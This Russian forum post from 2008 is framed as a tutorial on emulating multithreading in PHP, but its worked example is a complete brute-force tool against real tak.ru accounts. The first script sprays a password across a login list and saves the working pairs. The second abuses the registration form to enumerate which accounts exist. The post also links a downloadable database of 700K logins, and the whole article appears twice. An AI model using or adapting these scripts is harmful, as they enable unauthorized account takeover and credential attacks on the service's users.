!{ra!{e/\/
17.05.2008, 23:08
Эмуляция многопоточности в php на основе брутера Tak.ru
Теория
Часто возникают ситуации когда требуется быстро обработать информацию. Допустим, при работе с несколькими десятками,сотнями файлов. Скорость выполнения программы можно значительно ускорить, если выполнять их в несколько потоков. В PHP нет возможности организовать реальную многопоточность, но ее можно сделать если извернуться.
Эмуляция многопоточности
Как пример возьмем привычную задачу – брут. Работать будем с сокетами . Многопоточность “симулируюм” с помощью пула не блокирующих сокетов. Брутить будем пароли от учетных записей Tak.ru. Комменты и обьяснения в самом скрипте. Ответ скрипта на правильную пару login+pass “302 Found”(этого нам достаточно).Для работы скрипта создадим файл logins.txt с логинами в той же категории. Максимальное число потоков не рекомендую ставить слишком большим.
<?php
$max_threads = 5;//Максимальное количество потоков
set_time_limit(320); // лимит времени на выполнение. Я поставил 320 сукунд
$get_array=file("logins.txt"); // массив из логинов
for($i=0,$cnt=count($get_array);$i<$cnt;$i++) // удаляем символы перевода каретки
{
$get_array[$i]=trim($get_array[$i]);
}
$pass="pass"; // пароль на который будем подбирать логины
$f=fopen("pass_list.txt",'w'); // сюда будем записывать сбрученные логин+пасс
echo("Всего запросов: " . count($get_array) . "<BR> Поехали! <BR>");
$sockets = array(); //В этом массиве находятся открытые сокеты
$done = false;// Флаг $done используется для остановки скрипта после выполнения работы
$curr = 0; // $curr - будет текущим элементом из всего массива запросов
while (!$done)
{
while (($max_threads > count($sockets)) && ($curr < count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
{
$packet.="POST /enter.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 52\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$get_array[$curr]&password=$pass&Submit=++OK++&z=enter_form";
$errno = 0;
$error = "";
$sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
//stream_set_blocking($sockets[$curr], 0);
stream_set_timeout($sockets[$curr], 3600);
fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
echo("Создан сокет: " . $curr . "<br>");
$curr = $curr + 1;// Переходим к следующему элементу массива
unset($packet);
}
////sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
foreach($sockets as $key => $val)
{
$temp[$key].= fgets($sockets[$key],50); // Получаем данные из текущего сокета [ данных может и не быть ] 50 нам достаточно чтоб определить правильно или нет(экономим трафик и время)
echo $temp[$key];
unset($sockets[$key]); //то удаляем отработавший сокет из массива
echo("Удален сокет: " . $key . "<br>");
}
///echo("Сейчас обрабатывается: " . count($sockets) . " сокетов<BR>");
// если нет активных сокетов, то можно выходить
if (count($sockets) == 0) $done = true;
}
foreach($temp as $key => $val)
{
if ((strpos($temp[$key],"302 Found"))>0) { fputs($f,$get_array[$key].":".$pass."\r\n"); echo " $get_array[$key] $pass-- Пароль правильный";}
else echo " $get_array[$key] $pass--Не правильный пароль ";
}
fclose($f);
echo("<br> Конец");
?>
В дополнении
Чтоб приступить к бруту нужны базы логинов. Если просто в logins.txt вписать какую нибудь базу логинов то работать все же будет но это будет неудобно,больше ненужных запросов т.е трафика и времени поэтому в приложении выкладываю скрипт для отсеивания логинов.
Для работы скрипта создаем файл logins.txt с базой логингов. После завершения работы скрипта зарегистрированные логины отсеются в файл regger_logins.txt
<?php
$tak_names=file("logins.txt");
for($i=0,$cnt=count($tak_names);$i<$cnt;$i++)
{
$tak_names[$i]=trim($tak_names[$i]);
}
echo "Начало работы";
$f=fopen("regger_logins.txt",'w');
foreach($tak_names as $key => $val)
{
$packet.="POST /registuser.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 136\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: PHPSESSID=7d60872b57f6dea13ff6eba120cf8e12";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$tak_names[$key]&name=13&email=sed@rambller.ru&password=123456&passwordtoo=123456®=%C7%E0%F0%E5%E3%E8%F1%F2%F0%E8%F0%EE%E2%E0%F2% FC%F1%FF";
$ock=fsockopen("web.tak.ru",80);
fputs($ock,$packet);
$html='';
//while (!feof($ock))
//{
$html.=fgets($ock,1000);// этого достаточно
sleep(0.05);
//}
echo $html." <br> ";
fclose($ock);
unset($ock);
unset($packet);
echo "<br>";
if ((strpos($html,"302 Found"))>0) echo "$tak_names[$key] Не зарегистрирован";
else { fputs($f,$tak_names[$key]."\r\n");
echo "$tak_names[$key] Зарегистрирован ";
}
}
fclose($f);
?>
В заключении
Почему я подбираю логины к паролю а не наоборот? При восстановлении пароля tak.ru высылает свой пароль из 7 символов содержащих цифры и буквы латинского алфавита(нижние регистры), это увеличивает вероятность(шанс) на подбор.
Скрипт полностью работоспособный, писал сам.
Базу логинов можно скачать отсюда http://slil.ru/25776569 700К логинов(за базы спасибо AdReNa1!Ne).
Целью моей работы было показать один из способов увеличения скорости работы в PHP.
(судить не строго моя первая сатья)
Теория
Часто возникают ситуации когда требуется быстро обработать информацию. Допустим, при работе с несколькими десятками,сотнями файлов. Скорость выполнения программы можно значительно ускорить, если выполнять их в несколько потоков. В PHP нет возможности организовать реальную многопоточность, но ее можно сделать если извернуться.
Эмуляция многопоточности
Как пример возьмем привычную задачу – брут. Работать будем с сокетами . Многопоточность “симулируюм” с помощью пула не блокирующих сокетов. Брутить будем пароли от учетных записей Tak.ru. Комменты и обьяснения в самом скрипте. Ответ скрипта на правильную пару login+pass “302 Found”(этого нам достаточно).Для работы скрипта создадим файл logins.txt с логинами в той же категории. Максимальное число потоков не рекомендую ставить слишком большим.
<?php
$max_threads = 5;//Максимальное количество потоков
set_time_limit(320); // лимит времени на выполнение. Я поставил 320 сукунд
$get_array=file("logins.txt"); // массив из логинов
for($i=0,$cnt=count($get_array);$i<$cnt;$i++) // удаляем символы перевода каретки
{
$get_array[$i]=trim($get_array[$i]);
}
$pass="pass"; // пароль на который будем подбирать логины
$f=fopen("pass_list.txt",'w'); // сюда будем записывать сбрученные логин+пасс
echo("Всего запросов: " . count($get_array) . "<BR> Поехали! <BR>");
$sockets = array(); //В этом массиве находятся открытые сокеты
$done = false;// Флаг $done используется для остановки скрипта после выполнения работы
$curr = 0; // $curr - будет текущим элементом из всего массива запросов
while (!$done)
{
while (($max_threads > count($sockets)) && ($curr < count($get_array))) // Если количество активных сокетов меньше константы и $curr не превысил допустимые нормы, то запускаем скрипт, который создает недостающее количество сокетов
{
$packet.="POST /enter.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 52\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$get_array[$curr]&password=$pass&Submit=++OK++&z=enter_form";
$errno = 0;
$error = "";
$sockets[$curr] = fsockopen("web.tak.ru",80);// открываем новый сокет
//stream_set_blocking($sockets[$curr], 0);
stream_set_timeout($sockets[$curr], 3600);
fputs($sockets[$curr], $packet);// Посылаем в этот сокет наш запрос
echo("Создан сокет: " . $curr . "<br>");
$curr = $curr + 1;// Переходим к следующему элементу массива
unset($packet);
}
////sleep(1);// Чтобы не сильно загружать сервер будем проверять данные по всем сокетам через 1 секунду
foreach($sockets as $key => $val)
{
$temp[$key].= fgets($sockets[$key],50); // Получаем данные из текущего сокета [ данных может и не быть ] 50 нам достаточно чтоб определить правильно или нет(экономим трафик и время)
echo $temp[$key];
unset($sockets[$key]); //то удаляем отработавший сокет из массива
echo("Удален сокет: " . $key . "<br>");
}
///echo("Сейчас обрабатывается: " . count($sockets) . " сокетов<BR>");
// если нет активных сокетов, то можно выходить
if (count($sockets) == 0) $done = true;
}
foreach($temp as $key => $val)
{
if ((strpos($temp[$key],"302 Found"))>0) { fputs($f,$get_array[$key].":".$pass."\r\n"); echo " $get_array[$key] $pass-- Пароль правильный";}
else echo " $get_array[$key] $pass--Не правильный пароль ";
}
fclose($f);
echo("<br> Конец");
?>
В дополнении
Чтоб приступить к бруту нужны базы логинов. Если просто в logins.txt вписать какую нибудь базу логинов то работать все же будет но это будет неудобно,больше ненужных запросов т.е трафика и времени поэтому в приложении выкладываю скрипт для отсеивания логинов.
Для работы скрипта создаем файл logins.txt с базой логингов. После завершения работы скрипта зарегистрированные логины отсеются в файл regger_logins.txt
<?php
$tak_names=file("logins.txt");
for($i=0,$cnt=count($tak_names);$i<$cnt;$i++)
{
$tak_names[$i]=trim($tak_names[$i]);
}
echo "Начало работы";
$f=fopen("regger_logins.txt",'w');
foreach($tak_names as $key => $val)
{
$packet.="POST /registuser.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 136\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Cookie: PHPSESSID=7d60872b57f6dea13ff6eba120cf8e12";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$tak_names[$key]&name=13&email=sed@rambller.ru&password=123456&passwordtoo=123456®=%C7%E0%F0%E5%E3%E8%F1%F2%F0%E8%F0%EE%E2%E0%F2% FC%F1%FF";
$ock=fsockopen("web.tak.ru",80);
fputs($ock,$packet);
$html='';
//while (!feof($ock))
//{
$html.=fgets($ock,1000);// этого достаточно
sleep(0.05);
//}
echo $html." <br> ";
fclose($ock);
unset($ock);
unset($packet);
echo "<br>";
if ((strpos($html,"302 Found"))>0) echo "$tak_names[$key] Не зарегистрирован";
else { fputs($f,$tak_names[$key]."\r\n");
echo "$tak_names[$key] Зарегистрирован ";
}
}
fclose($f);
?>
В заключении
Почему я подбираю логины к паролю а не наоборот? При восстановлении пароля tak.ru высылает свой пароль из 7 символов содержащих цифры и буквы латинского алфавита(нижние регистры), это увеличивает вероятность(шанс) на подбор.
Скрипт полностью работоспособный, писал сам.
Базу логинов можно скачать отсюда http://slil.ru/25776569 700К логинов(за базы спасибо AdReNa1!Ne).
Целью моей работы было показать один из способов увеличения скорости работы в PHP.
(судить не строго моя первая сатья)